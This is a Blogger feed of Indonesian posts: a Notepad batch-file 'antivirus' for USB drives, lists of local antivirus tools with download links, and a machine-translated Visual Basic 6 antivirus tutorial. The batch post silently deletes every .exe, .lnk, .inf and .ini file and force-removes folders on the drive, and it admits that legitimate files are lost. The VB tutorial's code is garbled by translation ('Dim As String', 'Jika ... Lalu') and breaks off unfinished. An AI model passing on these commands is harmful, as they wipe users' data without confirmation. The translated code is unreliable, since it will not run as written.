tag:blogger.com,1999:blog-55660084543949395822024-03-22T08:56:29.067+07:00Welcome mdipayumansah90Informasi segalanya ada disini.Mdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.comBlogger8125tag:blogger.com,1999:blog-5566008454394939582.post-78101344548599001072012-03-18T07:01:00.000+07:002012-03-18T07:01:48.605+07:00cara membuat antivirus dengan notepad<span style="font-family: 'Trebuchet MS', sans-serif;">Kemarin saya menceritakan tentang cara membuat virus dengan notepad. sekarang antivirusnya.... OK langsung aja ke T.....K......P</span><br />
<br />
<span style="font-family: 'Trebuchet MS',sans-serif;">1. Open notepad > [start + R ] ketikkan Notepad. nah ni die cuplakannya<br />
lalu ketik<br />
-----------------------------------------------<br />
mode 60,15 <br />
color 0a<br />
cls<br />
pause<br />
<br />
<img border="0" height="271" src="http://i1132.photobucket.com/albums/m564/kutujenggot/1.jpg" width="400" /><br />
kalo sudah bilang sudah...y <br />
<br />
trus save dengan nama "kutujenggot.bat"<br />
<img border="0" height="323" src="http://i1132.photobucket.com/albums/m564/kutujenggot/2.jpg" width="400" /><br />
<br />
ok. kalo sudah.. coba klik double gan filenya yang di desktop. Mantap toh.<br />
<br />
2. trus cari tahu kalo ente colokin FD. drivenya apaan ? misalnih ane punya pas fd dicolokin langsung terdetect F:\<br />
<br />
<img border="0" height="285" src="http://i1132.photobucket.com/albums/m564/kutujenggot/3-1.jpg" width="400" /><br />
<br />
lalu ke desktop klik kanan file "kutujenggot.bat" lalu pilih edit<br />
<br />
sesuai drive fd agan!, maka tambahki<br />
"F:"<br />
bisa diganti G:, X:, S: dsb.<br />
<br />
untuk menghapus semua virus/file shortcut tambahki<br />
"del /q *.lnk"<br />
<br />
untuk menghapus semua file exe (biasanya dah terinfeksi gan!) tambahki<br />
"del /q *.exe"<br />
waspadai file master yg g tersimpan dalam folder pasti terdelete<br />
<br />
untuk menghapus file autorun.inf untuk file (kalo smadav biasanya bikin folder)tambahki <br />
"del /q *.inf"<br />
<br />
biasanya virus jmn dlu masuk ke desktop.ini maka tambahin gan!<br />
"del /q *.ini"<br />
<br />
keterangan : /q itu agar perintahnya bisa dijalankan automatis. tidak ada pertanyaan "yakin akan menghapus [y/t]"<br />
<br />
tampilannya kayak gini gan!<br />
<img border="0" height="261" src="http://i1132.photobucket.com/albums/m564/kutujenggot/4.jpg" width="400" /><br />
<br />
3. langkah selanjutnya adalah menghapus folder RECYCLER << tempat
virus cokko dan System Volume Information << tempat info,
biasanya sepupu virus juga cokko disini Gan!<br />
<br />
nah tambahin lagi<br />
RMDIR /s /q RECYCLER << hapus folder recycler<br />
RMDIR /s /q "System Volume Information" << pake tanda kutip gan!<br />
<br />
tuk hapus folder buatan smadav gini gan<br />
RMDIR /s /q autorun.inf<br />
<br />
keterangan : rmdir tuk remove dir (hapus folder) <br />
/s untuk semua folder dalam-dalamnya juga<br />
/q ya sama dengan diatas....<br />
<br />
tampilannya kayak gini : <br />
<img border="0" src="http://i1132.photobucket.com/albums/m564/kutujenggot/5.jpg" /><br />
<br />
<b>finishing</b><br />
trus SAVE [ctrl +s]<br />
trus kata "pause" di delete aja gan...<br />
<br />
<b><span style="color: red;">cara pakenya.... </span></b><br />
1. pada saat mau masukin fd. minimize semua aplikasi yg aktif<br />
2. siap2 tuk nge-klik kutujenggot.bat <br />
3. matiin aja aplikasi yg bikin lemot (optional untuk komputer lemot)<br />
4. pada saat fd dicolok... tunggu beberapa saat agar windows mendetect<br />
5. kira-kira 3ampe5 detik windows mendetect.. jalankan "kutujenggot.bat"<br />
<br />
setelah itu fd udah bisa langsung dibuka dengan klik double icon fd-nya or lewat explorer.<br />
nah kliatan tampilannya program mendelete beberapa file (kliatan agak heng).<img border="0" src="http://static.kaskus.us/images/smilies/iloveindonesias.gif" /> selamat mencoba "mencegah lebih baik dari menginstall ulang Gan!"<br />
+-+-+-+-+-+-+-+</span><br />
<br />
<div>
<span style="font-family: 'Trebuchet MS', sans-serif;"><br />
</span></div>
<div>
<span style="font-family: 'Trebuchet MS', sans-serif;">sumber <a href="http://www.kaskus.us/">KASKUS</a></span></div>Mdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.com0tag:blogger.com,1999:blog-5566008454394939582.post-49831700372228698042012-02-22T15:22:00.000+07:002012-02-22T15:22:49.511+07:00Diyusofer<a id="nabblelink" href="http://diyusof-forum.8241.n6.nabble.com/">Diyusof Forum</a>
<script src="http://diyusof-forum.8241.n6.nabble.com/embed/f4494114"></script>Mdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.com0tag:blogger.com,1999:blog-5566008454394939582.post-54145234206549447912012-02-12T08:31:00.001+07:002012-02-12T08:31:26.320+07:00Antivirus Lokal IndonesiaAntivirus merupakan salah satu dari sekian banyak aplikasi yang wajib
terinstall di komputer. Hal
ini bertujuan untuk menjaga, melindungi komputer
dari serangan yang dapat membahayakan data pada komputer
seperti dari virus,
trojan, worm, phising.
<br />
Biasanya pengguna komputer
lebih mempercayakan keamanan komputer
dengan menggunakan antivirus buatan luar seperti Kaspersky, AVG, Avira
atau McAfee. Namun tak ada salahnya bila Anda mencoba menggunakan antivirus lokal asli buatan anak Indonesia. Kenapa? Karena tak selamanya
antivirus buatan luar mampu mengatasi semua jenis virus atau worm,
apalagi bila virus atau
worm tersebut merupakan buatan lokal.
Berikut ini adalah daftar beberapa antivirus buatan anak negeri yang
tak kalah hebatnya dengan antivirus buatan luar negeri yang patut Anda
coba:<br />
1. SMADAV Antivirus<br />
<a href="http://smadav.net/">http://smadav.net</a><br />
2. PC MEDIA Antivirus (PCMAV)<br />
<a href="http://pcmav.biz/">http://pcmav.biz/</a><br />
3. ARTAV Antivirus<br />
<a href="http://www.artav-antivirus.com/">http://www.artav-antivirus.com/</a><br />
4. KEMOAV Antivirus<br />
<a href="http://kemoav.com/">http://kemoav.com/</a><br />
5. CMC [ CODENESIA MALWARE CLEANER ]<br />
<a href="http://cmc.codenesia.com/system/file/CMC%20PH%25232.zip">http://cmc.codenesia.com/system/file/CMC%20PH%25232.zip</a><br />
6. ANSAV Antivirus<br />
<a href="http://www.ansav.com/">http://www.ansav.com/</a><br />
7. ELKAV Antivirus<br />
<a href="http://www.elkav.com/">http://www.elkav.com/</a><br />
8. MANTAV Antivirus<br />
<a href="http://mantav.wordpress.com/">http://mantav.wordpress.com/</a><br />
9. THE KILLER MACHINE<br />
<a href="http://www.indowebster.com/TheKillerMachinezip.html">http://www.indowebster.com/TheKillerMachinezip.html</a><br />
10. WEDASH Antivirus<br />
<a href="http://virologi.info/virologist/modules/mydownloads/visit.php?cid=2&lid=1">http://virologi.info/virologist/modules/mydownloads/visit.php?cid=2&lid=1</a><br />
11. AVIGEN Antivirus<br />
<a href="http://www.softpedia.com/get/Antivirus/AVIGen-AntiVirus.shtml">http://www.softpedia.com/get/Antivirus/AVIGen-AntiVirus.shtml</a><br />
12. KISAV AV<br />
<a href="http://www.4shared.com/get/48620551/467d74ad/KISAV_Anti_Virus_121.html">http://www.4shared.com/get/48620551/467d74ad/KISAV_Anti_Virus_121.html</a><br />
13. GUCUP Antivirus (GAV)<br />
<a href="http://www.softpedia.com/get/Antivirus/GAV.shtml">http://www.softpedia.com/get/Antivirus/GAV.shtml</a><br />
14. JASAKOM ANTIVIRUS<br />
<a href="http://jasakom.com/content.php?399-JasaAV-Version-0-0-1-2">http://jasakom.com/content.php?399-JasaAV-Version-0-0-1-2</a><br />
15. ANTI INDOVIR<br />
<a href="http://www.indowebster.com/AIV_12102008.html">http://www.indowebster.com/AIV_12102008.html</a><br />
16. MORPHOST<br />
<a href="http://morphians.wordpress.com/download/">http://morphians.wordpress.com/download/</a><br />
17. NYIT-NYIT Antivirus<br />
<a href="http://www.nyit-nyit.net/">http://www.nyit-nyit.net/</a><br />
18. BLUE ATOM VIRUS<br />
<a href="http://www.softpedia.com/get/Antivirus/Blue-Atom-Antivirus-Free-Soul-Edition.shtml">http://www.softpedia.com/get/Antivirus/Blue-Atom-Antivirus-Free-Soul-Edition.shtml</a><br />
19. DIYUSOF ANTIVIRUS<br />
<a href="http://www.blogger.com/%20http://diyusof-av.blogspot.com/"> http://diyusof-av.blogspot.com/</a>Mdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.com0tag:blogger.com,1999:blog-5566008454394939582.post-57821195045270075652012-01-21T10:43:00.000+07:002012-01-21T10:43:19.865+07:00Daftar Antivirus Lokal<div class="MsoNormal">
<strong>1. PCMAV = PC Media Anti Virus</strong></div>
<div class="MsoNormal">
AVI besutan majalah PC Media ini kayaknya untuk
saat ini menjadi yang terpopuler. Hampir di warnet-warnet seluruh
Indonesia menjadikan antivirus ini menjadi barang komoditas. Apa
rahasianya? Selain rajin update AVI ini juga selalu mempunyai koleksi
virus terlengkap dibanding AVI yang lain. Disisi lain sudah mulai ada
yang menilai negatif AVI ini melihat ‘sejarah’ dari sang pembuat. Namun
karena masih sekedar sangkaan isu ini tidak terlalu mempengaruhi
kepopuleran AVI ini.</div>
<div class="MsoNormal">
Kelebihan: database virus yang banyak, bisa diintegrasi dengan CLAMAV</div>
<div class="MsoNormal">
Kekurangan: lambat</div>
<div class="MsoNormal">
Situs: virusindonesia.com</div>
<div class="MsoNormal">
<strong><span id="more-419"></span>2. ANSAV = AN’S Anti Virus</strong></div>
<div class="MsoNormal">
Menempati posisi kedua adalah ANSAV yang
dikembangkan oleh mas Anvie. Antivirus ini populer karena adanya
fungsi-fungsi tambahan (plugin) ditambah lagi adanya forum yang masih
aktif membahas tentang perkembangan antivirus dan virus terbaru di
Indonesia. Tak heran jika ada AVI baru biasanya dikenalkan dulu lewat
forum ini. Disisi lain entah karena alasan apa update antivirus ini
terhenti pada bulan Januari 2008 kemarin. Padahal di forum tersebut
dijanjikan bulan Mei atau selambat-lambatnya bulan Juni tapi ternyata
sampai bulan Juli pun AVI ini belum memperlihatkan tanda-tanda
kehidupan.</div>
<div class="MsoNormal">
Kelebihan: fungsi tambahan pada plugin, proses scan yang cepat</div>
<div class="MsoNormal">
Kekurangan: false alarm, tidak bisa dijalankan di Windows Vista</div>
<div class="MsoNormal">
Situs: ansav.com</div>
<div class="MsoNormal">
Untuk posisi ke-3 dan seterusnya saya belum bisa
menentukan, nah disini rekan pembaca bisa mengusulkan kandidatnya.
Penyebutan nomor 3, 4, dan seterusnya bukan karena kepopuleran tapi
berdasarkan alphabet.</div>
<div class="MsoNormal">
<strong>3. AI = Antivirus </strong><strong>Indonesia <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=cKuamJqoaLOdlp2rafiblJStZKqgkZWlaw%3D%3D7" target="_blank" title="download antivirus indonesia">Download Antivirus Indonesia</a>]…..[<a href="http://uploads.bizhat.com/file/126038" target="_blank">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>4. AMP = ANTV-MD5-PATTERN <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=ZrKdmZSnZ6%2BalZqtsqyZlJyiZLGWlZSt4" target="_blank">Download AMP 5.05h SE: 29 Maret 2008</a>]…..[<a href="http://uploads.bizhat.com/file/126039" target="_blank">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>5. Andre AV <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=aq2alJWoZLKil5SobPiblJStYaqgkZWlbA%3D%3D4" target="_blank">Download AndreAV 2.0 RC 03 – Juli 2008</a>]…..[<a href="http://uploads.bizhat.com/file/126040" target="_blank">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>6. AVIGEN <span style="font-weight: normal;"><a href="http://www.ziddu.com/downloadfile.php?uid=Y7OdmpqoaK6im5ynr6yZlJyiYbGWlZSt1" target="_blank">Download Avigen2008 Build 3.0</a>]…..[<a href="http://uploads.bizhat.com/file/128245" target="_blank">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>7. Compact Byte Antivirus<span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=bqyZlZmsa62ZluKnZqqhkZSsY6uZmZWm6" target="_blank">Download CAV 0.94 package</a>]…..[<a href="http://uploads.bizhat.com/file/128350">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>8. Eura AntiVirus – NG <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=arGgmZmta62elJWttKyZlJyiZrGWlZSn6" target="_blank">Download Eura AntiVirus – NG v1.4.0 database 1.6.0.9 – 25 Juni 2008</a>]…..[<a href="http://uploads.bizhat.com/file/128352" target="_blank">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>9. Gucup AntiVirus <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=abCZnJWsbqyZlOKnaKqhkZSsZauZlZSu8" target="_blank">Download Gucup AntiVirus 3.2.2</a>]…..[<a href="http://uploads.bizhat.com/file/128354" target="_blank">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>10. KISAV AntiVirus <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=bqqdlJ2sa6qZlOKnZqqhkZSsY6uZmZSq6" target="_blank">Download KISAV AntiVirus 1.2.3</a>]…..[<a href="http://uploads.bizhat.com/file/128351" target="_blank">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>11. KVS – Kawanua Virus Scanner <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=b7GemJitaq2bnOKnaaqhkZSsZquZmJas9" target="_blank">Download KVS AntiVirus</a>]…..[<a href="http://uploads.bizhat.com/file/128353" target="_blank">mirror</a>]</span></strong></div>
<div class="MsoNormal">
<strong>12. NAVi = Narpes AntiVirus <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=a62bm5qnZrGbnOKnYqqhkZSsX6uZmZyq2" target="_blank">Download NAVi 1.0.0.1: 29 Juni 2008</a>]</span></strong></div>
<strong>13. O.A.S-AV <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=baqdlZetaqqZlOKnZaqhkZSsYquZmZSu5" target="_blank">Download O.A.S-AV 2008 v4.0</a>] [<a href="http://uploads.bizhat.com/file/128244" target="_blank">mirror</a>]</span></strong><br />
<div class="MsoNormal">
<strong>14. PCBugar<span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=aaqgm5mmarOhm5zzaqqZnJGlb6ealJqscQ%3D%3D8" target="_blank">Download PC Bugar</a>]</span></strong></div>
<div class="MsoNormal">
<strong>15. Peradnya Virus Cleaner <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=a7KenZ2mcLGeluKnaKqhkZSsZauZlpiu8" target="_blank">Download Peradnya Virus Cleaner 2.0</a>]</span></strong></div>
<div class="MsoNormal">
<strong>16. ScanLix <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=ba%2BamZasbayfm5SqZPiblJStYaqgkZWlaA%3D%3D4" target="_blank">Download ScanLix 1.1</a>]</span></strong></div>
<div class="MsoNormal">
<strong>17. SMP – Simple Machine Protect <span style="font-weight: normal;">[<a href="http://www.ziddu.com/downloadfile.php?uid=Z6%2BZl5eqY7GfnOKnY6qhkZSsYKuZlpys3" target="_blank">Download SMP – Sample Machine Protect</a>]</span></strong></div>
<strong>18. Diyusof - AV [<a href="http://downloads.ziddu.com/downloadfile/18223537/Diyusof-AvRev1.2.rar.html">Download Diyusof - AV 1.2]</a></strong><strong><a href="http://www.ziddu.com/downloadfile.php?uid=Z6%2BZl5eqY7GfnOKnY6qhkZSsYKuZlpys3" target="_blank"></a></strong><strong></strong>Mdipa yumansahhttp://www.blogger.com/profile/03920606335606277636noreply@blogger.com0tag:blogger.com,1999:blog-5566008454394939582.post-68254773838543146022011-12-08T15:31:00.001+07:002011-12-08T15:42:48.973+07:00<br />
<h3 class="post-title entry-title" style="font-family: Georgia, 'Times New Roman', Times, serif; font-size: 30px; font-weight: normal; padding-bottom: 0px; padding-top: 0px;">
<a href="http://bayuadiguna46.blogspot.com/2011/03/cara-membuat-antivirus-dengan-visual.html" style="font-style: italic; text-decoration: none;"><span class="" style="background-color: black; color: white;">CARA MEMBUAT ANTIVIRUS DENGAN VISUAL BASIC 6</span></a></h3>
<div class="post-header" style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; font-size: 13px; line-height: 21px;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', sans-serif; font-size: 13px; line-height: 21px;">
<div style="font-family: 'Courier New', Courier, monospace; line-height: 20px; text-align: justify;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span><div>
<span class="" style="background-color: black; color: white;">1.Buka Program microsoft visual basic 6.0 -> Standard EXE -> OK Maka Akan Tampil bentuk baru Sesuai gambar di bawah DENGAN, desain bentuk Sesuai keinginan ANDA</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div class="separator" style="clear: both;">
<a href="http://img546.imageshack.us/img546/987/formawal.png" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="http://img546.imageshack.us/img546/987/formawal.png" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">Beri Nama bentuk tersebut: frmUtama 2.Setelah bentuk Selesai di rubah namanya Tambahkan komponen Mscomctl.Ocx DENGAN cara klik Project -> Komponen -> Microsoft Windows Kontrol umum 6,0 -> klik OK hari laluContoh seperti gambar di bawah<br /><br /><br /><br /></span></span></div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5SVxo5IYL3ZbrzKRDvQHqLL6YWDRh_HEGmSsLDJbz1JHKg2Yla3X5w6I8cdSKvqA9mOK8fPF_DLg-ryfo4wJ8YLfXwiO6NkcMzrXVXzODYu4b4saB0DhAb2biZbDa23aTXdIIb8pWvbl/s1600/Component.bmp" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5SVxo5IYL3ZbrzKRDvQHqLL6YWDRh_HEGmSsLDJbz1JHKg2Yla3X5w6I8cdSKvqA9mOK8fPF_DLg-ryfo4wJ8YLfXwiO6NkcMzrXVXzODYu4b4saB0DhAb2biZbDa23aTXdIIb8pWvbl/s400/Component.bmp" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
</div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><span class="">3.Setelah komponen sukses di Tambahkan Langkah Selanjutnya adalah menambah Command Button, Textbox, ListView, Gambar Kotak </span><br /><span class="">disini Saya menggunakan desain Yang sangat Sederhana, desain Bisa ANDA SENDIRI rubah Sesuai kreatifitas ANDA ^ ^ </span><span class="">- Tambahkan ListView kedalam bentuk murah beri Nama lvScan</span><br /><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEKTBYxTwihyc3p7DjGWfbz9-KChx48DKt8g-YmeTFUkFJNCFnRk186zTlot4Zi1QVA9gAY6-qUO0N20YakbgiUEJKAHZ9lEQ-ZAsvst0KCQfjzHg7RKfpsi7gZBoq717Zu2gW1q7zwO5U/s1600/listview.bmp" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEKTBYxTwihyc3p7DjGWfbz9-KChx48DKt8g-YmeTFUkFJNCFnRk186zTlot4Zi1QVA9gAY6-qUO0N20YakbgiUEJKAHZ9lEQ-ZAsvst0KCQfjzHg7RKfpsi7gZBoq717Zu2gW1q7zwO5U/s400/listview.bmp" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br />Yang Saya lingkari merah adalah ListView Yang Telah di Tambahkan ke Dalam, bentuk. setelah pengaturan ITU DENGAN ListView cara klik di ListView -> Disebelah Kanan bawah ada kotak properti -> Custom hari lalu JAVANIC settingan seperti gambar di bawah PADA ini<br /><br /><br /><br /></span></span></div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI6UIl76jiSaGiPlfs5jmalSkftwYPgLloUCp-EgG28qFBNxfScgyraZr7QVv_50dzONterLmS6OdCU87l-HORLCtC95WwSPR8UNBb23GgPSKYmsFSpbUv-Hu-WdAKaWbwQ9npGsEqbpZ2/s1600/gambar4.jpg" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="367" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI6UIl76jiSaGiPlfs5jmalSkftwYPgLloUCp-EgG28qFBNxfScgyraZr7QVv_50dzONterLmS6OdCU87l-HORLCtC95WwSPR8UNBb23GgPSKYmsFSpbUv-Hu-WdAKaWbwQ9npGsEqbpZ2/s400/gambar4.jpg" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">Lalu PADA tab Kolom Header klik kolom masukkan<br />- Kolom 1 beri nama: Nama Virus<br />- Kolom 2 beri nama: Jalur<br />- Kolom 3 beri nama: Checksum Virus<br />- Kolom 4 beri nama: Status Virus<br />hari lalu klik Ok Tambahkan gambar buat gambar kotak kotak ITU sekecil Ujug murah beri Nama sIcon Pengaturan: Penampilan: Rata Auto Gambar ulang: Benar Gaya Perbatasan: Tidak Terlihat: Salah Tambahkan Textbox ke Dalam, bentuk DENGAN Nama txtPath Pengaturan: Penampilan: Flat Style Border: Tidak ada Command Button Tambahkan DENGAN Nama cmdBrowse di Samping Textbox Yang Telah di buat tadi Pengaturan: Keterangan: ...Masukan Kode ini ke Dalam, cmdBrowse<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">Kode:<br />Dim As String Pathnya<br />Pathnya = ""<br />Pathnya = BrowseFolder ("Pilih folder Yang Akan di Pindai:", Me)<br />Jika Pathnya <> "" Lalu<br />txtPath.Text = Pathnya<br />End If</span></span></div>
</div>
</div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Kode di Atas berfungsi Membuka kotak dialog UNTUK Yang berisi path "Yang ada di Dalam, Komputer hari lalu mencetaknya ke textbox Dalam, Yang Bernama txtPath</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan label DENGAN Nama standar</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: Dir Scanned</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan label DENGAN Nama lblDirScan</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: 0</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan label DENGAN Nama standar</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: Terdeteksi</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan label DENGAN Nama lblFileDet</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: 0</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan label DENGAN Nama standar</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: File Scan</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan label DENGAN Nama lblFileScan</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Keterangan: 0</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan Textbox DENGAN Nama txtFileScan</span></div>
<div>
<span style="background-color: black; color: white;">Pengaturan:</span></div>
<div>
<span style="background-color: black; color: white;">Multiline: Benar</span></div>
<div>
<span style="background-color: black; color: white;">Gulir Bar: 2-Vertikal</span></div>
<div>
